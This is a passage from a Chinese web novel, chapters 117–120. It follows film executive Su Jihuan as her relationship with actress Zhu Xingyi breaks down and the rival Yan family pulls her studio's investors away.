苏寄欢盯着路灯下自己的影子，近乎喃喃：“星星，我想问问你，对于你来说，成名的代价就是要抛弃和你共苦过的人吗？” 祝星亦瞥了她一眼轻笑：“什么？谁跟我共苦过？我从来就没吃过苦。你不是到处跟人说，没让我吃过一点苦吗？你不是到处跟别人说把我养得很好吗？” “既然从来没有吃过苦，那你为什么解雇白澜？当初你精挑细选一个满意的助理，为什么又……” 祝星亦厉声截断她：“我解雇谁、做什么、走哪一步，都得向你汇报？” 她突然欺近半步，眼尾洇出戾气，“你管这么宽不累么？我早就不需要你管了。我是个成年人，用不着你替我负责。” 苏寄欢望着这样的祝星亦嘶声迸出：“那要我看着你一步步走错路坠入深渊吗？！” “走错路？坠入深渊？真是好笑。”祝星亦倏地抬眸似刀出鞘，“我有什么错？苏寄欢，你说，我有什么错？” 黑夜，春天的夜，还有嘈杂酒吧的混乱颜色一并投递到苏寄欢苍白的脸上。 苏、寄、欢。 苏老师都不喊了，喊苏寄欢吗？ 她的小狐狸第一次喊苏老师还是在不愉快的宴会后两人再遇的那天。 苏寄欢忽然哽住。 再遇，宴会一别再遇，那都是四年前的事了。 久久，苏寄欢深吸一口气说：“你和晏璟霖混在一起，跟着她出入各种[上流人］场合。星星，我还能不知道晏璟霖接触的都是些什么人吗？看看你现在变成了什么样子，你还不觉得自己错了吗？” “不要沾染这些人？这些人怎么了？你装什么清高？”祝星亦有些不耐地呛她一句，“你心里也想要那些资源，何必装得一副不稀罕的样子？” 清高？假清高？ 一阵嗡鸣声像螺旋弯刀捅入她的耳朵，抽出后扯着碎肉鲜血淋漓。 苏寄欢踉跄着后退半步，窒息感从心口炸开，带着无数个倒刺攀爬在脏器上。 她没有想过祝星亦会这么评价她。 清高。 假清高。 她想起某一天晚上祝星亦缩在她怀里讲[雏鸟情结］。 幼小的鸟依偎在大鸟怀里，被大鸟保护教导。 后来。 后来小鸟用利爪抓碎了大鸟的羽毛，又用锋利的喙戳破大鸟的皮肉。 清高…… 假清高…… 半晌，苏寄欢才找到自己的声音：“星星，这不是清高不清高的问题，是因为晏璟霖她这个人本身品性就不好。我很讨厌她，她……” “你不喜欢是你的事，我凭什么要为你的不喜欢负责？你真的管太多了，我没什么想说的，你想走的话你自己离开。”祝星亦瞥了苏寄欢一眼，她已经不想再继续这个话题，转身往酒吧里走去。 “所以，你一点都不愿意为了我，离开伤害我的人，对吗？”苏寄欢捏紧拳头问，“星星，我就自私这一次，你真的不愿意为了我离开她们，对吗？” “晏氏两位贵女从未伤害过我，她们给了我很多支持，我总不能因为你的一点小情绪就放弃那么多资源。”祝星亦说着，嘴角扯出一抹似有似无的笑意，转过头看向苏寄欢，“你这么问我，那我也问问你，你就不能为了我的未来暂时放下你们之间的恩怨吗？” 酒吧里传来阵阵欢声笑语，苏寄欢直直地望着祝星亦的眼睛，她想要把眼前这个人重新认识一遍，可她现在已经无法将眼前这个人和以前的那个祝星亦重叠。 苏寄欢在这一刻厌恶自己。 她厌恶自己太过弱小。 倘若[苏盛］可以顺顺利利地走下去，倘若她可以有更多时间陪在祝星亦身边，倘若她可以做强大的苏寄欢，也许祝星亦不会变成这个样子。 人总会下意识推卸责任，譬如她自己，她在几分钟前将半数责任推在祝星亦身上。 但这一刻她发现她无法再推卸。 她的无能，让祝星亦的罪恶更加明了。 许久，她听到自己干涩地吐出一个字：“好。” “我以后不会再和你争吵这件事。我承认清高是我无用的遮羞布。”苏寄欢的声音带着一丝恍惚，连她自己都不敢相信会说出这样的话，“说好要载你走这一路，但我连像样的未来都拿不出手。对不起啊星星。” “往后你同晏氏来往，我不会多费口舌。如果你不开心，或者在她们面前有什么不适，一定要跟我说。”苏寄欢匆匆将散落的发拨到耳后。 她觉得自己可笑至极，当年10岁的她那么痛恨晏氏，可现在31岁的她选择了妥协。 她以为她永远都不会向晏氏的人低头，就像她以为她和祝星亦永远都能那么美好地走下去。 事实上是她太天真。 她从未了解过祝星亦。 春花开满了街道，她低头看卷在脚边的花，细细的，碎碎的，惨白月光的笼住她，将她的灵魂撕成了两半。 听到苏寄欢的那番话，祝星亦一瞬间愣住，很快，她便扬起了那副公式化的笑容，像是在赞赏苏寄欢的懂事：“这才是我女朋友该有的样子。苏老师，时间不早了，你早点回去，我给你叫个代驾。” 手指不受控制地颤抖着，祝星亦努力在屏幕上点了几下才点上约代驾的界面。简单交代几句后，便头也不回地走进酒吧。 走了几步，她粗喘着气咬牙转头看向外面。 那个人早已消失在漫天飞花里。 她攥紧拳，一头扎进喧闹、嘈杂的人群中。 // 得知祝星亦靠《沉默的外乡人》获得金粟奖最佳女演员那天，已是祝星亦再次国际封后的第二天。 苏寄欢忙了很久才停下来去看这个消息，她没顾上什么，匆匆给祝星亦打去电话。 电话响了很久对方才接，不太清醒的人接下后声音又低又弱，苏寄欢这才想起来有时差，她连忙说了几句抱歉，随后是一连串的恭喜。 祝星亦的名字已经在热搜上挂了几天，苏寄欢边激动地恭喜着边看那些消息，而对方似乎是睡着了没了声音。 她想是自己太打扰祝星亦了，简单说了几句挂断电话。等祝星亦回国后，她要带祝星亦出去庆祝一下，遭到祝星亦的拒绝。 “我这几天应酬多，你的庆祝先放一放。”祝星亦把自己放在苏寄欢家里的东西收拾了出来，新助理帮忙带走。 祝星亦出门时顿住脚步，片刻后她侧过身子说：“等这段时间忙完之后，我有事要跟你说。” 门前的阳光包裹住祝星亦疲惫得不正常的身子，她的脸泛着病态的白，眼下的青灰似砖瓦房角落里滋生的青苔。 苏寄欢看着祝星亦的侧影忽然滞住呼吸，她有点猜到祝星亦想要说什么事，但她还是笑着问：“你想说关于什么的事？可以提前透露一点吗？” “到时候再*说，我先去忙了，再见。”祝星亦摇摇头，踏进那片白得刺眼的阳光里。 她像海里面的一个泡泡，浪打过去，人就不见了。 苏寄欢呆呆望着祝星亦消失的方向，久久，她抓着衣角沉默地转身回屋子。 《沉默的外乡人》获奖后，[苏盛］果然又转好了不少。外界确实更注重奖项和流量，所有人默默接受了这个规则。 苏寄欢忙碌了一段时间才想起还要给祝星亦庆祝的事，她赶忙打电话问祝星亦什么时候有时间。 祝星亦说了个地点，要她明天晚上十点接她。 第二天晚上苏寄欢驱车到达那里。 那是一家餐厅，苏寄欢去找祝星亦时，祝星亦被助理扶着出门。 祝星亦喝得醉醺醺的，走起路来轻飘飘。苏寄欢忙去搀她，一股酒精味儿扑面而来。 苏寄欢不知道祝星亦喝了多少，但看怀里的人下意识紧紧攀着她，她咬着唇把人打横抱起。 “呃，苏小姐……”新助理吴安语伸手拦住苏寄欢，“我现在要送她回去，麻烦把她……” “她是我女朋友，我带她回去你还要过问？”苏寄欢绕过吴安语走到自己车前副驾开门轻轻放祝星亦进去。 车里顿时被酒精味儿覆盖，苏寄欢垂着眼给祝星亦系上安全带，祝星亦忽然握住她的手腕。 祝星亦睁开了醉意朦胧的眼，泛着星光的眼睛静静望着苏寄欢。 苏寄欢不确定是不是自己看错了还是车里灯光太暗，她觉得在这一瞬间她看到了以前的祝星亦。 那个乖巧缩在自己怀里的小狐狸，会抓着她的手小声说“我好喜欢你啊苏老师”“苏老师我们永远在一起好不好”的祝星亦，那个她以为会永远永远陪在自己身边的爱人。 苏寄欢不敢动，她眼角有点酸，就这么沉默地看了祝星亦好久。 终于，祝星亦松开她的手阖上眼沉沉睡去。 苏寄欢起身关上车门来到驾驶位带祝星亦回家。 麓城的春夜是碎了的镜子，漫山遍野都是星星。 苏寄欢擦干不停落泪的眼，追着天上的星星一路赶回家。 到家后她小心翼翼把人抱到床上擦洗一番，给祝星亦换上衣服盖好被子。她轻手轻脚钻进被窝，像很久之前那样把她的小狐狸抱在怀里。 现在她的小狐狸不会指责她不会怪她，她们像往常一样安静地睡去。 夜里苏寄欢做了个梦，梦里祝星亦想跟她说的话是[我们分手吧］。 她被噩梦惊醒，醒来月亮还在窗外的夜空里挂着。 怀里的人已经翻了身儿埋在她胸前，她觉得现在和还很美好的过去没什么不同。 苏寄欢咽下酸涩，把人紧紧搂在怀里。 她小声说，星星，能不能陪我久一点。 她小声说，星星，先不要说分手好不好。 然后她看到祝星亦紧紧攥着拳头动了下。 她抿着唇把人抱紧。 次日苏寄欢醒来时祝星亦已经不在被窝里，她慌慌张张起来去找人，发现祝星亦在楼下准备。 苏寄欢匆匆忙忙下楼去冰箱处：“你起那么早？” 祝星亦随意嗯了声。 苏寄欢松口气，刚要打开冰箱翻找些东西，身后的祝星亦开口：“等下我有事要跟你说。” 第118章 终于出了口气 预料的事情还是要发生。 苏寄欢站在冰箱门口，手往里面伸，拿出了冷藏室的莴苣。 祝星亦很喜欢吃莴苣，这个季节莴苣长得正好。 昨晚她着急联系商家尽量早点送来，加了许多钱。凌晨五点商家就打来电话要她出来签收，她匆匆忙忙开门把新采摘的莴苣放进保鲜层，想着等早上起来要给祝星亦做莴苣炒肉。 苏寄欢低头把莴苣叶择掉，清脆的叶梗泛起响声，像她被折断的脊骨。 祝星亦：“我准备……” 祝星亦刚开口，苏寄欢出声打断她：“早上你要吃什么？除了莴苣炒肉还想吃别的吗？你一般早上胃口不怎么好，我给你做点开胃的好了。葱烧鸡怎么样？我最近刚学的。” 苏寄欢放下莴莴苣转身去冰箱打开冷冻层，冷冻层泛起的白雾漫过她的指尖，寒意顺着指节刺入血液里，她听到自己的心跳声在冰箱里的回音，随后她趁祝星亦说出下一句话前，继续出声。 “想喝粥还是喝汤？”苏寄欢拿出肉去微波炉解冻，“我给你简单做一点，省得你吃不完还浪费。你已经好久不来我家，我也好久没有像这样好好跟你说说话。” “我只是想跟你说我未来的工作安排。”祝星亦的声音在她背后响起。 整个世界只剩下微波炉转起的嗡嗡声，苏寄欢抓着围裙有些失神地笑了笑说：“哦，这样啊。你说，我听着。” 等祝星亦说完，苏寄欢去冲洗手，“嗯，你好好工作，照顾好自己。之前我跟你说的那个剧本《琳琅》，最近要拿去送审了，希望可以顺利开拍。” 祝星亦不咸不淡地哦了声。 随后她说：“我最近很忙，你不用管我。” “好。”苏寄欢应了声。 // 还没等到送审的回复，《琳琅》的融资出现问题。一家资方突然悄无声息地撤资，电话联系不到，苏寄欢只好亲自上门，却吃了闭门羹。 “寄欢，处理得怎么样了？”苏芙的电话打过来。 高峰期的路有些堵，车缓慢前行。苏寄欢摇头叹道：“不太好，Caros不见我，我明天再去一趟。” 苏芙一脸忧色：“我现在最担心的是Caros别是被晏璟霖给拉拢走了。前两天我听说Caros去参加一个晚宴，[晏影］的人也在，就怕……” 十字路口的红灯刺眼无比，像日落西山时那轮血一样的残阳。 太阳升起的时候，阳光下的所有生灵都沐浴着神圣的光辉。 但[苏盛］现在，好像慢慢落山了。 燃尽的蜡烛，马上就要熄灭了。 根本就没有常胜将军。 她为她羽翼下所有的孩子撑起的伞，破烂不堪。 暴雨来临，她淋湿了身子，但谁为她撑把伞。 苏寄欢一身倦意地靠在椅背上，疲惫地出声：“没关系，我再试试。” 挂断电话，她垂着眼盯着方向盘沉默不语。 其实她清楚地知道现在、未来都不会太好。 [苏盛］要和[晏影］竞争影视资源，就像她当年和晏瑾年竞争剧本一样，如果晏瑾年想要，一定会得到。 但苏寄欢从来都不觉得自己的失败的那一方，她固执地相信她会抢得过，也固执地相信自己是比晏瑾年更优秀的人。 她并非要和晏瑾年竞争什么，她只是觉得她的努力和已拥有的实力足够撑得起她去拿到最好的东西。 但束之高阁的宝物并不是靠努力和实力才能拿得到。 后面有人焦躁地按喇叭，苏寄欢揉揉太阳穴茫然四顾。 霓虹初上的街上，祝星亦的身影出现在一家餐厅门口。她出来在门口站了会儿，晏瑾年紧接着跟了出来。 车流恰好动了，苏寄欢开着车往前走，等到路口那处她没有多想，掉头转去那家餐厅。 她停好车下车时，祝星亦还在和晏瑾年谈话。她慌慌张张赶过去，像黑纸上突兀的白点。 祝星亦瞥见了她，立马收声。等她到跟前儿祝星亦问：“你来干什么？” 黄昏时分，路灯已经亮起来了。餐厅门口的灯昏黄无比，照着苏寄欢长长的影子。 苏寄欢眨了眨眼有些慌乱地说：“正好看到你了，你……” 话还没说完，就被祝星亦打断：“我说了最近你不要管我。你有时间就管管你的工作，而不是操心不该操心的人。” 交谈戛然而止。 喧嚣更喧嚣。 晏瑾年迈出半步轻笑道：“听说Caros撤资了，这事情可不小啊，不好好处理可是会让你的项目泡汤的。” 等苏寄欢听完晏瑾年的话，她意识到Caros挽回不过来了。 是晏氏出手，她就会输。 一张无形的网把她牢牢罩住，她挣扎的力气都没有了。 潮水已经漫过甲板，她的船摇摇晃晃。但她必须想个办法才好，她不能让这艘船倾覆。 《琳琅》前期做了许多准备工作，如果无法正常开始拍摄，影视部会迎来大麻烦。但现在站在这里，她只想和祝星亦多说几句话。 苏寄欢觉得现在的她太过无力。 工作也好，生活也好，统统乱成搅在一起的毛线团。 她都30多岁了，以为过去30多年经历过的风浪能支撑她走过更长更险的路，但现在的她比任何一个年龄阶段都狼狈。 而她现在已经无法向任何人求助。 她是[苏盛］的老大，她底下有等着她招揽资源的员工，手里有必须扶起来的影视部，她要为员工负责，为[苏盛］负责。 她还要为她的女朋友负责。 但因为她的无能和失误，她的女朋友出现了极大的问题。 走错了路。 很显然，她是个失败的负责人。 她好像什么都抓不住了。 她看着祝星亦，试图说些什么：“星星，你这两天……” 话还没说完，祝星亦转过身子，毫不留情地说：“我还有局要参加，走了。” 晏瑾年跟着走了两步，转头看着苏寄欢说：“苏小姐，回见，希望你好好处理你的工作。” 苏寄欢看着她们的背影融入霓虹里，她朝空气伸了伸手，什么也没抓到。 苏芙的电话又打来：“哎……寄欢啊，张总那边也打算撤资了。怎么会这样，我以为《外乡人》获奖后会好一点，怎么更差了。” 是啊，怎么会更差了。明明有呈现出更好的作品，为什么更差了？ 晏氏的大掌牢牢压住她，从她幼时到现在，她都被困在那座山里。 从晏珂到晏璟霖到晏瑾年，三座山围着她不停降下惩戒。 其实她不知道她为什么会那么坚持地不向她们低头。 哪怕晏氏真的要把她所有的路都堵死了，她也不愿意在合作文件上签字。 她宁愿用手刨出一条路也要离开，不想低下头。 苏寄欢站在街头有些失神地喃喃道：“没事，没事，我们会好起来的。” 她不知道自己是在跟自己说，还是在跟苏芙说，抑或是跟已经消失的祝星亦说。 祝星亦已经登到了山顶。 她想把她救下来，想让她离开。 可她前行的双脚已经废了。 她被困在一座新的山里。 // 夜色渐浓，马上八点时，晏瑾年驱车来到一处庄园。侍者指引她停到停车位，她快速停好车解开安全带。 “我姐已经在等着了，宴会马上开始。”晏瑾年下车为祝星亦打开车门。 来前她们换上了礼服，精心打扮，专门赴这个重要的宴会。 祝星亦抓着裙子出来，晏瑾年动了下手臂，示意祝星亦挽上来。 祝星亦笑着挽上她的胳膊，晏瑾年挑眉一笑：“说真的，你和她都闹那么僵了，还不分手吗？” “分手也要体面一点，现在我没什么时间。”祝星亦说完，随她一起步入宴会厅。 刚结束完聊天的晏璟霖瞧见两人来了，视线移到两个人挽着的手臂上。她拖着裙摆走过去赞叹道：“看看，多般配。” 祝星亦笑而不语，晏瑾年拍拍祝星亦的手道：“当然了，当初还是星星追的我，如果不是因为有人插足，我早就和星星在一起了。” 晏瑾年想起苏寄欢就头痛，如果不是这个女人插足，她怎么会失去星星那么久？ 想到当初苏寄欢当她的面嘲讽她，她便气不打一处来。那时她还有些气愤地不知所措，好在晏璟霖帮她出了这口气。现在看到苏寄欢吃瘪，晏瑾年实在是太痛快了。 虽说她自小就讨厌晏璟霖，但晏璟霖帮她打了一局胜仗，她不免对这个讨厌的姐姐多了几分敬意。 晏璟霖笑着回应：“现在在一起也不迟，美好的爱情总是要等到最后才会有好结局，你们的经历曲折，代表未来的路更顺。” 她转头问祝星亦：“你什么时候和她分手？等你和她分手那天，我为你开个庆祝派对如何？” “等这段时间忙完，我现在没有时间和她纠缠。”祝星亦答道。 晏璟霖沉吟片刻道：“确实，她看起来并不是那种会轻易放你离开的人。万一对你死缠烂打，你可就惹上麻烦了。” 等待片刻，宴会开始。 晏璟霖与几个人交谈过后，握着酒杯走过来喊祝星亦：“来，我带你认识一下大人物。” 祝星亦随晏璟霖来到宴会中心，看到一个人被几个人围着。 那人见晏璟霖来了，笑着打了声招呼。 晏璟霖和那个男人握手，转身和祝星亦介绍：“小祝，这位是庄获，庄先生。他是华夏文艺联合协会主席，同时是临东市副市长，也是我们晏氏集团的好朋友。” 庄获冲祝星亦礼貌微笑。 祝星亦上前一步伸出手，庄获礼貌握住。 “你好，庄先生，我是祝星亦。”祝星亦的声音清脆悦耳，带着一丝恰到好处的恭敬。 庄获点头道：“你好。” 祝星亦仔细打量着眼前这个男人，将他的面容收入视线。 这是她迄今为止接触到的级别最大的人。 华夏文艺联合协会主席，也是文艺界权力最大的职位。 没有之一。 第119章 亲亲乖狐狸 觥筹交错间，晏璟霖与祝星亦简单聊了几句便带着她移步至别处。 晏璟霖将香槟杯抵在唇边，目光掠过正从远处走来的晏瑾年。 “庄叔那边谈妥了？”晏瑾年指尖在玻璃杯上轻轻敲动。 晏璟霖屈指叩响吧台，侍应生立即呈上冰镇的酒液。 “他能操控的奖项的评委组都打点好了。”晏璟霖晃了晃酒杯，“往后小祝手头几部戏的国内奖项，基本都稳了。庄先生在这种事上向来靠谱，我们尽管放心。” “这倒是，国内的奖项，门道还是得摸清楚。”晏瑾年微微颔首，“国外奖项含金量虽高，可毕竟不是内娱的圈子。就说苏寄欢，当初在国际上也算小有名气，可一回国还不是沉寂了许久，近乎查无此人。” “不过话说回来，那些国际大奖多少也算个敲门砖，有了它在国内起步总归容易些。”晏璟霖补充道，“但要想在国内站稳脚跟、长久发展，还得把本地的圈子经营好，人脉、资源，一个都不能少。” 晏瑾年顿了下，目光移向祝星亦：“Caros那边稳了之后，后面的投资方也会跟着站队，不出一周就会全方位崩盘，到时候苏寄欢怕是被赔得底儿掉。” 晏璟霖跟着笑了起来，“她可不止这部剧要栽跟头，她的影视部也得跟着遭殃。依我看，她的[苏盛］时日也不多了。” 说着，她侧过身子语重心长道，“小祝，我劝你最好尽早抽身，她这次的崩盘，可不只是《琳琅》失败这么简单。” 祝星亦倒是有些好奇：“那是如何？” 晏璟霖开口解释：“我们在之前阻碍她太久太久了，如果[苏盛］再不呈出一部剧，[苏盛］影视部真的无法再运营下去。” “我们不断切断她的投资合作方，依我对她的了解，投资方撤资后，她肯定会自己投资《琳琅》。毕竟《琳琅》确实是个独一无二的好本子，只要能成功播出，不管上星还是上网络，都会收获好口碑，[苏盛］也能打个翻身仗。” “但我们不会让《琳琅》拍摄顺利，资金上面也好，发行上面也好，我们都会下手，让她启动不了拍摄，或者无法顺利拍摄，即便她能克服以上困难，我们也不会让她成功发行。就算她真的把所有的都克服了，这部剧上映后口碑别想有一丁点儿好。” 晏瑾年接过话茬道：“让这部由她投入太多心血的剧会扑得彻彻底底，无法起身。后面她便会一无所有，商业信誉崩塌，合作方纷纷切断和她的联系，旗下艺人也会作鸟兽散，最终落得个身败名裂、众叛亲离的下场。” “小祝，你知道吗？对付苏寄欢，我们不会跟她对弈。”琥珀色酒液在杯中摇晃，晏璟霖笑看祝星亦道：“我们只会把她的棋盘掀翻，让她无棋可下，让她寸步难行，让她死无葬身之地。” // “所以……还是不行？” “你让我想一想。”办公室里，苏寄欢疲惫地靠在椅背上阖上眼睛。 《琳琅》的前期工作已经做好了，如果只是因为投资不够而放弃，实在遗憾。 安静的办公室里只有煮茶的声音，苏寄欢想了许久睁开眼睛道：“如果真的没有办法，我来填这个钱。苏芙，[苏盛］不能再等了，我真的等不了了，我必须把这个剧拍出来拿给那些人看。我真的……不能再等了。” 苏芙按着桌子起身，她缓了许久说：“你确定你要自己顶着？这钱缺得可不少！如果《琳琅》拍出来真的有热度，我们算是赚了，如果拍出来还是毫无水花，那你……功亏一篑啊。” 苏寄欢知道自己出钱投资的后果是什么。 自己出钱去补投资方撤走的资金，意味着她要承担巨大的财务风险，一旦《琳琅》扑街，她多年积累的资本将大幅缩水，还可能导致资金链断裂，影响到整个[苏盛］旗下其他影视项目的推进。 从资本运作的角度来看，这是一场豪赌，成功的概率取决于市场的不确定性、观众的喜好以及[晏影］的动态。 《琳琅》一旦失败，“苏盛”影视部的口碑也会受损，后续也会影响其他资方对[苏盛］的投资。 一个项目的失败很容易被竞争对手利用，成为打压[苏盛］的把柄，进一步挤压[苏盛］的生存空间。 那时晏瑾年拍了一部糊剧，被嘲讽了太久太久。对于她们这个地位的艺人来说，口碑、质量才是稳住她们地位的关键点。 苏寄欢也更清楚，此时放弃《琳琅》对她和[苏盛］来说，无疑是一次战略性的溃败。 她不甘心就这样前功尽弃。 《琳琅》是个好本子，[苏盛］已经许久没有出作品，再不出一部作品去展示、巩固地位，[苏盛］影视部真的无法再扶起来。 有晏璟霖从中作梗，[苏盛］只能拿出爆款优质作品才能吸引资方的注意。 除此之外，再别的办法。 赌。 又是一场豪赌。 苏寄欢曾经很喜欢做赌徒。 10岁那年，她求苏菱带她去海外，不要再留在国内，也不要被晏氏吓得同意签约。 当她和苏菱以及其他几位亲人站在候机厅时，晏珂的讥笑在身后传来：“不出三个月，你们会跪着回来求我。我给你们保留机会，只要签过来，我会给小苏提供最高的待遇。” 那时的她攥着拳继续往前走，在海外拼搏许久拿到奖项站在领奖台的那天，她知道她赢得风风光光，漂漂亮亮。 后来到了18岁，她赌回国会有更广阔的前景。即便回国后晏珂又开始出手阻挡她的发展，她还是选择继续坚持下去。 直到19岁那年，她掌握了一些资源，她开始赌建立[苏盛］会让她有更好的未来。她跟苏菱谈了四个小时去建立[苏盛］的意义和价值，希望苏菱同意这个计划并立即执行。 四个小时后，苏菱同意筹备建立[苏盛］。 后来的后来，她活得太风光了，她做赌徒也做得太风光了。 她习惯性去赌，也赢了一次又一次。 到了27那年，她选择《寄明月》这个被人嫌弃的剧本，她赌由她选演员和负责宣发执行，这部剧绝对不会如旁人预测的那般惨淡。 于是她又选择了毫无演艺经验的冠军爱豆，她亲自指导这个人，她坚信这个人可以演好[阿星］，她坚信这个人会给整部剧带来不一样的未来，她坚信这部剧不会那么差。 于是《寄明月》火遍大江南北，成为演员的冠军爱豆同样爆火。 每一次她都赌赢了。 现在她31岁，她又要开始下赌注。 现在的她和以前一样，她坚信自己会赢。 同样的，她也和以前一样，满心的不确定。 小时候下赌注，妈妈会为她兜底。 长大后下赌注，其他投资方可以做保障。 现在下赌注，她要为所有的结果负责。 只要赌，就会有输赢。 [苏盛］不能再输，可[苏盛］怎么才会赢？ 茶壶嘴腾出白雾，在地板上织出幻影。 苏寄欢咬了咬牙，眼中透出决绝：“我确定，剩下全部资金由我来出，后续我再想办法拉点投资。只要拍摄质量过硬，营销到位，我相信《琳琅》不会太差。” “可你知道这意味着什么吗？”苏芙低头找出风险评估书，抬手推了过来，纸页摩擦声像刀片刮过神经，“晏璟霖已经买通好几家数据公司，只要我们开机，黑通稿会比预告片更早登陆热搜。你觉得我们的拍摄会顺利吗？如果不顺利，你的资金打水漂了，[苏盛］怎么办！！” 暮色彻底吞没办公室，苏寄欢突然轻笑出声。 最初她做赌徒时，背水一战的成功，不过是有人为她兜住溃堤的裂缝。 这次没有人会为她填平赌桌下的深渊，但或许，她早已成为深渊本身。 “通知制片组，明天我要看到细化到分镜的预算表，让营销组那边也做好舆情准备，财务那边给我拨出相应的资金。”苏寄欢压下风险评估书，“我不管了，我要再赌一次。” // 和财务那边对接好时，已经凌晨三点。 苏寄欢拖着倦意的身子驱车到家，一楼的灯在亮着。她以为苏芙来了，开门进去换鞋时疲惫出声：“今天李总那边又撤资了，给出的理由很幼稚。我知道是晏璟霖那边搞的鬼，这些人要是实话实说我还会觉得他们敞亮，结果找了这些稀奇古怪的理由，真是太可笑了。” “你这段时间留意一下徐总那边的投资情况，徐总那边和晏氏有纠葛，应该会稳一点，但也难保晏璟霖不会耍花招。不过能挽留一个是一个，资方多留一个，我就少填钱进去。”她放好鞋进屋，没太留意台上的鞋子，进到客厅才看到坐在餐桌前的祝星亦。 灰暗的眸子忽然亮了起来，苏寄欢小跑过去：“星星，你怎么来了？” 想到已经凌晨三点了，苏寄欢担忧道：“都这么晚了你怎么还不睡？快些去休息，不要再在这里坐着了。” 祝星亦靠在椅背上没有对上苏寄欢的视线：“我也是忙到现在，回来时正好路过这里，就过来一趟准备歇一晚，明早我就走了。” “你也是忙到现在？”苏寄欢不由得为祝星亦的身体担忧，“那快点洗漱去休息，别在这里傻坐着，快上楼。” 祝星亦捏着手指起身，苏寄欢转身把包放下收拾文件。 祝星亦这才看向苏寄欢。 她沉默地望着浑身疲惫的人，许久，她说：“最近也是挺累的，真希望可以好好休息。” 苏寄欢整理好资料说：“是啊，如果我们不忙了就好了，等这段时间过去，我带你去泡温泉怎么样？” “哦，行。”祝星亦淡淡开口。 可是……会过去吗？ 《琳琅》的其他投资方会继续撤资吗？《琳琅》会顺利拍摄吗？晏氏那边会继续为难她吗？ 苏寄欢不确定。 她现在无法预知到任何关于《琳琅》的未来，她只知道，如果《琳琅》失败，她也会失败，[苏盛］也会失败。 久久，苏寄欢叹了口气，一步一步移到祝星亦身边。 看到祝星亦来她家，她很开心。 祝星亦没有同她争吵她更开心。 她们已经好久没有这样好好交流过了。 苏寄欢伸出双臂拥住祝星亦说：“星星，以后可以永远这样吗？我们不要吵架，我们好好的。” 怀里的人没出声。 松开人，苏寄欢低眸望着祝星亦有些冷淡的脸，她沉默片刻，吻上祝星亦的唇。 香甜涌入唇齿，感受到对方下意识的回应，苏寄欢吻得更深、更密。 她抱住她的狐狸继续吻着，她的狐狸也环住了她的腰。 她眼角酸涩。 她忽然有点害怕。 她的狐狸在这一刻太乖了。 像离别前的幸福假象。 第120章 希望我们好好的 凌晨六点时苏寄欢翻了个身，身旁的人浅浅呼吸着。她伸出手臂拥住祝星亦，赤。条条的她们紧紧贴着。 等闹钟响了的时候，苏寄欢意识模糊，蹙着眉把闹钟按灭，手臂在身旁摸了两下，身旁的位置已经空了。 她猛然坐起来。 祝星亦不知道什么时候离开的，凌晨三点说的那句早上就走并不是骗人的。 苏寄欢没有起来，整个人有些凌乱地坐在床上，直到苏芙打来电话，她着急起床梳洗去开会。 “徐总那边情况还算不错，明天我们去跟她再聊一聊，她最近要出去旅游，如果可以的话我们可以跟她一起玩一圈，巩固一下关系。”苏芙匆匆忙忙带来一些数据资料放在桌子上，额上已经因为忙碌出了一层细密的汗珠，她顾不上擦便坐下来继续跟苏寄欢说：“只要稳住徐总，加上你的投资，《琳琅》一定可以按时拍摄。” 苏寄欢查看了下自己和祝星亦的行程表，和徐总一起去旅游的话，等她回来后祝星亦已经进组了。 她胡乱翻了两下数据表嗯了声：“好，你来先安排。” 次日苏寄欢来到徐琼的办公室，檀香若有似无地飘着，苏寄欢指尖刚触到茶杯，就听见对面传来轻笑：“苏小姐的黑眼圈，倒比上次见面时还深些。” 苏寄欢捧着茶盏的手指一紧，“最近忙了些，总不得闲。” 落地窗外梧桐叶簌簌作响，徐琼今天穿了件米白色真丝衬衫，领口别着枚红宝石樱桃胸针，泛着闪烁的光芒。 “听说晏璟霖又截了你几个投资人？”徐琼慢条斯理地往紫砂壶里注水，沸腾的水汽裹着铁观音的兰花香腾起，“倒像她母亲年轻时的做派，只会耍些见不得人的手段。” 苏寄欢看着茶叶在滚水里舒展，突然想起凌晨四点祝星亦汗湿的胸口。她们像疯子一样激烈地互相索取，空荡荡的房间里只有两人连绵不断的动情吟声。 那时月光透过白纱漏进来，她攥着祝星亦的手腕有些埋怨地咬着祝星亦的肩头。她很意外这一次她们如此沉默以及默契地亲密着，于是她更加放肆地索取，好像要把所有的痛苦和压力释放出来，之后她们湿漉漉地拥着不说话。 心里明明知道了什么，固执地不去承认。 她没有想过她和她的小狐狸会有这么一天。 “徐总说笑了，”苏寄欢低着头，声音平稳，“不过是生意场上的常事。” “常事？”徐琼突然倾身，“她们不停拦截你的投资人，逼得你花重金去填补缺少的资金，也是常事？” 她将茶汤倒入公道杯，“不过这些都不重要，重要的是……过两天我要去普吉岛，苏小姐会冲浪吗？” 苏寄欢的睫毛颤了颤，“会，不过已经好久没时间去玩了。” “那就好。”徐琼点头，“下周一去机场，我会为你订好机票。” 苏寄欢颔首，“谢谢徐总。” 出门前徐琼送了苏寄欢一个礼物，坐回车里时拆开，一颗漂亮的珍珠躺在丝绒盒子里。 苏芙系上安全带问谈得怎么样，苏寄欢盯着珍珠的柔光说：“挺好的，她主动邀请我们去普吉岛。” 苏芙松了口气，看来徐总那边情况不错。 “能稳住徐总就好，现在我只是害怕你投入太多会打水漂。”苏芙启动车辆驶离停车场，“如果一切顺遂倒还好，如果不顺遂，我很害怕……” “事情没有发生之前，就不要先去预想糟糕的结果。”苏寄欢装好盒子靠在椅背上阖上眼，“先期待万事顺遂好了。” 飞去普吉岛前一天苏寄欢找到祝星亦，彼时祝星亦还没去剧组，正在艺域的工作室里看剧本。 暮夏的麓城闷热得不得了，晚霞倾泻在艺域工作室的玻璃落地窗上。苏寄欢来到祝星亦的工作室门口，推开磨砂玻璃门的刹那，中央空调的冷气扑面而来。 祝星亦蜷在米白色懒人沙发里，安静又认真的模样，看几百遍都不觉得腻。 “我明天飞普吉岛，要和投资人那边谈工作，要在国外一段时间。”苏寄欢的手指无意识摩挲着手袋的褶皱，她抬眼看祝星亦的表情，耳边传来翻动书页的声音，“等回来后可能又要忙工作，你那时估计去了剧组，我估计没时间……” “没时间就不要见面，又不是没见过面，而且和你也没什么好见的。”祝星亦的指尖划过剧本页脚，纸张发出蝉翼般的震颤。 她今天穿了件露背的黑裙，后颈是淡淡的粉色，前段时间苏寄欢在她肩上留下的咬痕还没消，放眼望过去极为显眼。 苏寄欢还未再说些什么，经纪人推门而入。苏寄欢看着她们讨论通告行程，她安静坐在沙发上等了许久，两人并没有搭理她的意思。 经纪人讲完行程便推门出去，整个屋子陷入死一般的沉寂。 